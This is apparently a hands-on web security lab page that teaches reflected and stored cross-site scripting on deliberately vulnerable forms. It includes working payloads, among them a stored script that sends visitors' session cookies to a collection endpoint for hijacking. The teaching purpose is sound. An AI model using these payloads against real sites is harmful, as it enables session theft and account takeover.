U Hack It!
Register

Cross-Site Scripting (XSS) Attacks

Caused when raw, unfiltered data entered by the user is displayed in the browser.
If that sounds similar to an SQL Injection attack, it is. XSS is Scipt Injection.

A Simple, Non-persistent XSS Attack

Non-persistent attacks are "one-offs" - a script is injected on a page as a user view it. The scipt is not stored on the site, and must be injected at the point of use.

Here's how it works:

  1. A script can be injected via a form or URL parameter - any user-supplied data that is displayed on screen is subject to attack if not filtered properly.
  2. Here we will perform a very simply attack on ourselves to demonstrate:
    • In the Search form on this page, enter a search term to see your results (well, it doesn't actually show results, but it does display the terms you searched for...)
    • Now, enter the following:
      test<script>alert('Attacked!');</script>
    • Press "Search" - when the search is displayed, notice the "script" part doesn't appear - that's because the browser has interpeted it and executed the code within.
  3. This attack is just a bit annoying - but now that we can run code in the browser, what mischief might we get up to?

Exercise

See if you can inject a script on this page to do something else interesting.
Hint: all scripts are contained within a pair of <script> </script> tags.

Delivering a Non-Persistent XSS Attack

Non-persistent XSS attacks often exploit a vulnerable URL parameter whose value is displayed on the page. The attacker creates a carefully crafted URL that injects a script onto the page, as we did above using a form.

Here's how it works:

  1. This page has a XSS vulnerable parameter called search - the value of which is displayed to the right.
    Try it!
    This link adds a search parameter to the URL - notice how this allow a set of search terms to be passed to the page by any link - a very common technique because it is very handy!
  2. For the "payload" we will reveal the user's PHPSESSID, which we know can be used to hijack their session.
  3. Here is the script we want to deliver:
    <script>document.write('Watch your cookies: ' + document.cookie);</script>
  4. Finally, we'll craft a link that injects this script onto this page using the search URL parameter:
    Click Me!!
  5. This link would be posted on some other website, or sent to a user by e-mail - when the user clicks on the link, the attack is launched!
  6. This attack starts to reveal just how dangerous a XSS attack can be - if an attacker can run a program in your browser, they can learn all kinds of information!

Exercise

Can you craft a URL that injects a script on this page? Send the link to a classmate and ask them to click on it.

Persistent XSS Attack

Notice that the script injections above affect only a single user and are temporary in nature.
A persistent XSS attack is created when the script is saved in the site's DB and injected every time that DB record is displayed.

Here's how it works:

  1. The vulnerability is created by a form that saves unfiltered user input to the site's DB.
    The "comment" form to the right is exactly such a vulnerable form - the comments are saved in the site's DB and then displayed to other users. Give it a try: add a comment, then click on View Comments to see all the comments on the site.
  2. Next, we craft an insidious script that does something malicious. To demonstrate how bad this can get, every time a user views the comments, our little script will send their cookies to be saved on a hackers website where someone can use the session keys to hijack their sessions.
  3. Here is just such a script:
    TO DO: this script triggers popup blocker. Figure other way to make request to hacker's DB <script> fetch(new Request("/app/hacked-sessions?c="+escape(document.cookie))); </script>
  4. Finally, submit the script code on the vulnerable form. Voila - our XSS is now persistently injected on the Comment listing page.
    Now anytime anyone goes to View Comments, our little script will execute and send their session key to the hacker site.
    Try it!
  5. You can view the hacked session cookies in the Hacker's DB.

Try it yourself!

Add another persistent XSS of your own design. Doesn't have to do anything terrible - just take some action when the comments are viewed. Because the comments are displayed in reverse-chronological order, your script will execute first, before the hack we made above.